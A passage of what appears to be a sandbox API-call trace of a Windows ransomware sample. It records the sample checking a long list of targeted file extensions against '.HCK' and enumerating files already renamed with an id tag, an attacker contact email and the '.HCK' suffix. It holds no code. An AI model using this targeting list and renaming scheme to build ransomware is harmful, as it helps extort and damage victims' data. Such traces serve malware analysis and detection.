lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".cr2") returned 4 [0224.318] lstrcmpiW (lpString1=".cr2", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".crt") returned 4 [0224.318] lstrcmpiW (lpString1=".crt", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".crw") returned 4 [0224.318] lstrcmpiW (lpString1=".crw", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".cs") returned 3 [0224.318] lstrcmpiW (lpString1=".cs", lpString2="HCK") returned -1 [0224.318] lstrlenW (lpString=".css") returned 4 [0224.318] lstrcmpiW (lpString1=".css", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".csv") returned 4 [0224.318] lstrcmpiW (lpString1=".csv", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".cub") returned 4 [0224.318] lstrcmpiW (lpString1=".cub", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".dae") returned 4 [0224.318] lstrcmpiW (lpString1=".dae", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".dat") returned 4 [0224.318] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".db") returned 3 [0224.318] lstrcmpiW (lpString1=".db", lpString2="HCK") returned -1 [0224.318] lstrlenW (lpString=".dbf") returned 4 [0224.318] lstrcmpiW (lpString1=".dbf", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".dbx") returned 4 [0224.318] lstrcmpiW (lpString1=".dbx", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".dc3") returned 4 [0224.318] lstrcmpiW (lpString1=".dc3", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".dcm") returned 4 [0224.318] lstrcmpiW (lpString1=".dcm", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".dcr") returned 4 [0224.318] lstrcmpiW (lpString1=".dcr", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".der") returned 4 [0224.318] lstrcmpiW (lpString1=".der", lpString2=".HCK") returned -1 [0224.318] lstrlenW (lpString=".dib") returned 4 [0224.318] lstrcmpiW (lpString1=".dib", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".dic") returned 4 [0224.319] lstrcmpiW (lpString1=".dic", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".dif") returned 4 [0224.319] lstrcmpiW (lpString1=".dif", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".divx") returned 5 [0224.319] lstrcmpiW (lpString1=".divx", lpString2="].HCK") returned -1 [0224.319] lstrlenW (lpString=".djvu") returned 5 [0224.319] lstrcmpiW (lpString1=".djvu", lpString2="].HCK") returned -1 [0224.319] lstrlenW (lpString=".dng") returned 4 [0224.319] lstrcmpiW (lpString1=".dng", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".doc") returned 4 [0224.319] lstrcmpiW (lpString1=".doc", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".docm") returned 5 [0224.319] lstrcmpiW (lpString1=".docm", lpString2="].HCK") returned -1 [0224.319] lstrlenW (lpString=".docx") returned 5 [0224.319] lstrcmpiW (lpString1=".docx", lpString2="].HCK") returned -1 [0224.319] lstrlenW (lpString=".dot") returned 4 [0224.319] lstrcmpiW (lpString1=".dot", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".dotm") returned 5 [0224.319] lstrcmpiW (lpString1=".dotm", lpString2="].HCK") returned -1 [0224.319] lstrlenW (lpString=".dotx") returned 5 [0224.319] lstrcmpiW (lpString1=".dotx", lpString2="].HCK") returned -1 [0224.319] lstrlenW (lpString=".dpx") returned 4 [0224.319] lstrcmpiW (lpString1=".dpx", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".dqy") returned 4 [0224.319] lstrcmpiW (lpString1=".dqy", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".dsn") returned 4 [0224.319] lstrcmpiW (lpString1=".dsn", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".dt") returned 3 [0224.319] lstrcmpiW (lpString1=".dt", lpString2="HCK") returned -1 [0224.319] lstrlenW (lpString=".dtd") returned 4 [0224.319] lstrcmpiW (lpString1=".dtd", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".dwg") returned 4 [0224.319] lstrcmpiW (lpString1=".dwg", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".dwt") returned 4 [0224.319] lstrcmpiW (lpString1=".dwt", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".dx") returned 3 [0224.319] lstrcmpiW (lpString1=".dx", lpString2="HCK") returned -1 [0224.319] lstrlenW (lpString=".dxf") returned 4 [0224.319] lstrcmpiW (lpString1=".dxf", lpString2=".HCK") returned -1 [0224.319] lstrlenW (lpString=".edml") returned 5 [0224.319] lstrcmpiW (lpString1=".edml", lpString2="].HCK") returned -1 [0224.319] lstrlenW (lpString=".efd") returned 4 [0224.319] lstrcmpiW (lpString1=".efd", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".elf") returned 4 [0224.320] lstrcmpiW (lpString1=".elf", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".emf") returned 4 [0224.320] lstrcmpiW (lpString1=".emf", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".emz") returned 4 [0224.320] lstrcmpiW (lpString1=".emz", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".epf") returned 4 [0224.320] lstrcmpiW (lpString1=".epf", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".eps") returned 4 [0224.320] lstrcmpiW (lpString1=".eps", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".epsf") returned 5 [0224.320] lstrcmpiW (lpString1=".epsf", lpString2="].HCK") returned -1 [0224.320] lstrlenW (lpString=".epsp") returned 5 [0224.320] lstrcmpiW (lpString1=".epsp", lpString2="].HCK") returned -1 [0224.320] lstrlenW (lpString=".erf") returned 4 [0224.320] lstrcmpiW (lpString1=".erf", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".exr") returned 4 [0224.320] lstrcmpiW (lpString1=".exr", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".f4v") returned 4 [0224.320] lstrcmpiW (lpString1=".f4v", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".fido") returned 5 [0224.320] lstrcmpiW (lpString1=".fido", lpString2="].HCK") returned -1 [0224.320] lstrlenW (lpString=".flm") returned 4 [0224.320] lstrcmpiW (lpString1=".flm", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".flv") returned 4 [0224.320] lstrcmpiW (lpString1=".flv", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".frm") returned 4 [0224.320] lstrcmpiW (lpString1=".frm", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".fxg") returned 4 [0224.320] lstrcmpiW (lpString1=".fxg", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".geo") returned 4 [0224.320] lstrcmpiW (lpString1=".geo", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".gif") returned 4 [0224.320] lstrcmpiW (lpString1=".gif", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".grs") returned 4 [0224.320] lstrcmpiW (lpString1=".grs", lpString2=".HCK") returned -1 [0224.320] lstrlenW (lpString=".gz") returned 3 [0224.320] lstrcmpiW (lpString1=".gz", lpString2="HCK") returned -1 [0224.320] lstrlenW (lpString=".h") returned 2 [0224.320] lstrcmpiW (lpString1=".h", lpString2="CK") returned -1 [0224.320] lstrlenW (lpString=".hdr") returned 4 [0224.320] lstrcmpiW (lpString1=".hdr", lpString2=".HCK") returned 1 [0224.320] lstrlenW (lpString=".hpp") returned 4 [0224.320] lstrcmpiW (lpString1=".hpp", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".hta") returned 4 [0224.321] lstrcmpiW (lpString1=".hta", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".htc") returned 4 [0224.321] lstrcmpiW (lpString1=".htc", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".htm") returned 4 [0224.321] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".html") returned 5 [0224.321] lstrcmpiW (lpString1=".html", lpString2="].HCK") returned -1 [0224.321] lstrlenW (lpString=".icb") returned 4 [0224.321] lstrcmpiW (lpString1=".icb", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".ics") returned 4 [0224.321] lstrcmpiW (lpString1=".ics", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".iff") returned 4 [0224.321] lstrcmpiW (lpString1=".iff", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".inc") returned 4 [0224.321] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".indd") returned 5 [0224.321] lstrcmpiW (lpString1=".indd", lpString2="].HCK") returned -1 [0224.321] lstrlenW (lpString=".ini") returned 4 [0224.321] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".iqy") returned 4 [0224.321] lstrcmpiW (lpString1=".iqy", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".j2c") returned 4 [0224.321] lstrcmpiW (lpString1=".j2c", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".j2k") returned 4 [0224.321] lstrcmpiW (lpString1=".j2k", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".java") returned 5 [0224.321] lstrcmpiW (lpString1=".java", lpString2="].HCK") returned -1 [0224.321] lstrlenW (lpString=".jp2") returned 4 [0224.321] lstrcmpiW (lpString1=".jp2", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".jpc") returned 4 [0224.321] lstrcmpiW (lpString1=".jpc", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".jpe") returned 4 [0224.321] lstrcmpiW (lpString1=".jpe", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".jpeg") returned 5 [0224.321] lstrcmpiW (lpString1=".jpeg", lpString2="].HCK") returned -1 [0224.321] lstrlenW (lpString=".jpf") returned 4 [0224.321] lstrcmpiW (lpString1=".jpf", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".jpg") returned 4 [0224.321] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".jpx") returned 4 [0224.321] lstrcmpiW (lpString1=".jpx", lpString2=".HCK") returned 1 [0224.321] lstrlenW (lpString=".js") returned 3 [0224.321] lstrcmpiW (lpString1=".js", lpString2="HCK") returned -1 [0224.321] lstrlenW (lpString=".jsf") returned 4 [0224.322] lstrcmpiW (lpString1=".jsf", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".json") returned 5 [0224.322] lstrcmpiW (lpString1=".json", lpString2="].HCK") returned -1 [0224.322] lstrlenW (lpString=".jsp") returned 4 [0224.322] lstrcmpiW (lpString1=".jsp", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".kdc") returned 4 [0224.322] lstrcmpiW (lpString1=".kdc", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".kmz") returned 4 [0224.322] lstrcmpiW (lpString1=".kmz", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".kwm") returned 4 [0224.322] lstrcmpiW (lpString1=".kwm", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".lasso") returned 6 [0224.322] lstrcmpiW (lpString1=".lasso", lpString2="o].HCK") returned -1 [0224.322] lstrlenW (lpString=".lbi") returned 4 [0224.322] lstrcmpiW (lpString1=".lbi", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".lgf") returned 4 [0224.322] lstrcmpiW (lpString1=".lgf", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".lgp") returned 4 [0224.322] lstrcmpiW (lpString1=".lgp", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".log") returned 4 [0224.322] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".m1v") returned 4 [0224.322] lstrcmpiW (lpString1=".m1v", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".m4a") returned 4 [0224.322] lstrcmpiW (lpString1=".m4a", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".m4v") returned 4 [0224.322] lstrcmpiW (lpString1=".m4v", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".max") returned 4 [0224.322] lstrcmpiW (lpString1=".max", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".md") returned 3 [0224.322] lstrcmpiW (lpString1=".md", lpString2="HCK") returned -1 [0224.322] lstrlenW (lpString=".mda") returned 4 [0224.322] lstrcmpiW (lpString1=".mda", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".mdb") returned 4 [0224.322] lstrcmpiW (lpString1=".mdb", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".mde") returned 4 [0224.322] lstrcmpiW (lpString1=".mde", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".mdf") returned 4 [0224.322] lstrcmpiW (lpString1=".mdf", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".mdw") returned 4 [0224.322] lstrcmpiW (lpString1=".mdw", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".mef") returned 4 [0224.322] lstrcmpiW (lpString1=".mef", lpString2=".HCK") returned 1 [0224.322] lstrlenW (lpString=".mft") returned 4 [0224.322] lstrcmpiW (lpString1=".mft", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mfw") returned 4 [0224.323] lstrcmpiW (lpString1=".mfw", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mht") returned 4 [0224.323] lstrcmpiW (lpString1=".mht", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mhtml") returned 6 [0224.323] lstrcmpiW (lpString1=".mhtml", lpString2="o].HCK") returned -1 [0224.323] lstrlenW (lpString=".mka") returned 4 [0224.323] lstrcmpiW (lpString1=".mka", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mkidx") returned 6 [0224.323] lstrcmpiW (lpString1=".mkidx", lpString2="o].HCK") returned -1 [0224.323] lstrlenW (lpString=".mkv") returned 4 [0224.323] lstrcmpiW (lpString1=".mkv", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mos") returned 4 [0224.323] lstrcmpiW (lpString1=".mos", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mov") returned 4 [0224.323] lstrcmpiW (lpString1=".mov", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mp3") returned 4 [0224.323] lstrcmpiW (lpString1=".mp3", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mp4") returned 4 [0224.323] lstrcmpiW (lpString1=".mp4", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mpeg") returned 5 [0224.323] lstrcmpiW (lpString1=".mpeg", lpString2="].HCK") returned -1 [0224.323] lstrlenW (lpString=".mpg") returned 4 [0224.323] lstrcmpiW (lpString1=".mpg", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mpv") returned 4 [0224.323] lstrcmpiW (lpString1=".mpv", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mrw") returned 4 [0224.323] lstrcmpiW (lpString1=".mrw", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".msg") returned 4 [0224.323] lstrcmpiW (lpString1=".msg", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".mxl") returned 4 [0224.323] lstrcmpiW (lpString1=".mxl", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".myd") returned 4 [0224.323] lstrcmpiW (lpString1=".myd", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".myi") returned 4 [0224.323] lstrcmpiW (lpString1=".myi", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".nef") returned 4 [0224.323] lstrcmpiW (lpString1=".nef", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".nrw") returned 4 [0224.323] lstrcmpiW (lpString1=".nrw", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".obj") returned 4 [0224.323] lstrcmpiW (lpString1=".obj", lpString2=".HCK") returned 1 [0224.323] lstrlenW (lpString=".odb") returned 4 [0224.324] lstrcmpiW (lpString1=".odb", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".odc") returned 4 [0224.324] lstrcmpiW (lpString1=".odc", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".odm") returned 4 [0224.324] lstrcmpiW (lpString1=".odm", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".odp") returned 4 [0224.324] lstrcmpiW (lpString1=".odp", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".ods") returned 4 [0224.324] lstrcmpiW (lpString1=".ods", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".oft") returned 4 [0224.324] lstrcmpiW (lpString1=".oft", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".one") returned 4 [0224.324] lstrcmpiW (lpString1=".one", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".onepkg") returned 7 [0224.324] lstrcmpiW (lpString1=".onepkg", lpString2="io].HCK") returned -1 [0224.324] lstrlenW (lpString=".onetoc2") returned 8 [0224.324] lstrcmpiW (lpString1=".onetoc2", lpString2=".io].HCK") returned 1 [0224.324] lstrlenW (lpString=".opt") returned 4 [0224.324] lstrcmpiW (lpString1=".opt", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".oqy") returned 4 [0224.324] lstrcmpiW (lpString1=".oqy", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".orf") returned 4 [0224.324] lstrcmpiW (lpString1=".orf", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".p12") returned 4 [0224.324] lstrcmpiW (lpString1=".p12", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".p7b") returned 4 [0224.324] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".p7c") returned 4 [0224.324] lstrcmpiW (lpString1=".p7c", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".pam") returned 4 [0224.324] lstrcmpiW (lpString1=".pam", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".pbm") returned 4 [0224.324] lstrcmpiW (lpString1=".pbm", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".pct") returned 4 [0224.324] lstrcmpiW (lpString1=".pct", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".pcx") returned 4 [0224.324] lstrcmpiW (lpString1=".pcx", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".pdd") returned 4 [0224.324] lstrcmpiW (lpString1=".pdd", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".pdf") returned 4 [0224.324] lstrcmpiW (lpString1=".pdf", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".pdp") returned 4 [0224.324] lstrcmpiW (lpString1=".pdp", lpString2=".HCK") returned 1 [0224.324] lstrlenW (lpString=".pef") returned 4 [0224.324] lstrcmpiW (lpString1=".pef", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".pem") returned 4 [0224.325] lstrcmpiW (lpString1=".pem", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".pff") returned 4 [0224.325] lstrcmpiW (lpString1=".pff", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".pfm") returned 4 [0224.325] lstrcmpiW (lpString1=".pfm", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".pfx") returned 4 [0224.325] lstrcmpiW (lpString1=".pfx", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".pgm") returned 4 [0224.325] lstrcmpiW (lpString1=".pgm", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".php") returned 4 [0224.325] lstrcmpiW (lpString1=".php", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".php3") returned 5 [0224.325] lstrcmpiW (lpString1=".php3", lpString2="].HCK") returned -1 [0224.325] lstrlenW (lpString=".php4") returned 5 [0224.325] lstrcmpiW (lpString1=".php4", lpString2="].HCK") returned -1 [0224.325] lstrlenW (lpString=".php5") returned 5 [0224.325] lstrcmpiW (lpString1=".php5", lpString2="].HCK") returned -1 [0224.325] lstrlenW (lpString=".phtml") returned 6 [0224.325] lstrcmpiW (lpString1=".phtml", lpString2="o].HCK") returned -1 [0224.325] lstrlenW (lpString=".pict") returned 5 [0224.325] lstrcmpiW (lpString1=".pict", lpString2="].HCK") returned -1 [0224.325] lstrlenW (lpString=".pl") returned 3 [0224.325] lstrcmpiW (lpString1=".pl", lpString2="HCK") returned -1 [0224.325] lstrlenW (lpString=".pls") returned 4 [0224.325] lstrcmpiW (lpString1=".pls", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".pm") returned 3 [0224.325] lstrcmpiW (lpString1=".pm", lpString2="HCK") returned -1 [0224.325] lstrlenW (lpString=".png") returned 4 [0224.325] lstrcmpiW (lpString1=".png", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".pnm") returned 4 [0224.325] lstrcmpiW (lpString1=".pnm", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".pot") returned 4 [0224.325] lstrcmpiW (lpString1=".pot", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".potm") returned 5 [0224.325] lstrcmpiW (lpString1=".potm", lpString2="].HCK") returned -1 [0224.325] lstrlenW (lpString=".potx") returned 5 [0224.325] lstrcmpiW (lpString1=".potx", lpString2="].HCK") returned -1 [0224.325] lstrlenW (lpString=".ppa") returned 4 [0224.325] lstrcmpiW (lpString1=".ppa", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".ppam") returned 5 [0224.325] lstrcmpiW (lpString1=".ppam", lpString2="].HCK") returned -1 [0224.325] lstrlenW (lpString=".ppm") returned 4 [0224.325] lstrcmpiW (lpString1=".ppm", lpString2=".HCK") returned 1 [0224.325] lstrlenW (lpString=".pps") returned 4 [0224.326] lstrcmpiW (lpString1=".pps", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".ppsm") returned 5 [0224.326] lstrcmpiW (lpString1=".ppsm", lpString2="].HCK") returned -1 [0224.326] lstrlenW (lpString=".ppt") returned 4 [0224.326] lstrcmpiW (lpString1=".ppt", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".pptm") returned 5 [0224.326] lstrcmpiW (lpString1=".pptm", lpString2="].HCK") returned -1 [0224.326] lstrlenW (lpString=".pptx") returned 5 [0224.326] lstrcmpiW (lpString1=".pptx", lpString2="].HCK") returned -1 [0224.326] lstrlenW (lpString=".prn") returned 4 [0224.326] lstrcmpiW (lpString1=".prn", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".ps") returned 3 [0224.326] lstrcmpiW (lpString1=".ps", lpString2="HCK") returned -1 [0224.326] lstrlenW (lpString=".psb") returned 4 [0224.326] lstrcmpiW (lpString1=".psb", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".psd") returned 4 [0224.326] lstrcmpiW (lpString1=".psd", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".pst") returned 4 [0224.326] lstrcmpiW (lpString1=".pst", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".ptx") returned 4 [0224.326] lstrcmpiW (lpString1=".ptx", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".pub") returned 4 [0224.326] lstrcmpiW (lpString1=".pub", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".pwm") returned 4 [0224.326] lstrcmpiW (lpString1=".pwm", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".pxr") returned 4 [0224.326] lstrcmpiW (lpString1=".pxr", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".py") returned 3 [0224.326] lstrcmpiW (lpString1=".py", lpString2="HCK") returned -1 [0224.326] lstrlenW (lpString=".qt") returned 3 [0224.326] lstrcmpiW (lpString1=".qt", lpString2="HCK") returned -1 [0224.326] lstrlenW (lpString=".r3d") returned 4 [0224.326] lstrcmpiW (lpString1=".r3d", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".raf") returned 4 [0224.326] lstrcmpiW (lpString1=".raf", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".rar") returned 4 [0224.326] lstrcmpiW (lpString1=".rar", lpString2=".HCK") returned 1 [0224.326] lstrlenW (lpString=".raw") returned 4 [0224.326] lstrcmpiW (lpString1=".raw", lpString2=".HCK") returned 1 [0224.326] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa307421d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa307421d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa307421d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.326] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f42fe6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f42fe6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fb57cb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.327] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2f42fe6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2f42fe6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2fb57cb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.327] FindClose (in: hFindFile=0x573728 | out: hFindFile=0x573728) returned 1 [0224.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.327] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0224.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.327] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.330] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.330] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa309a3c4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa309a3c4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa309a3c4, 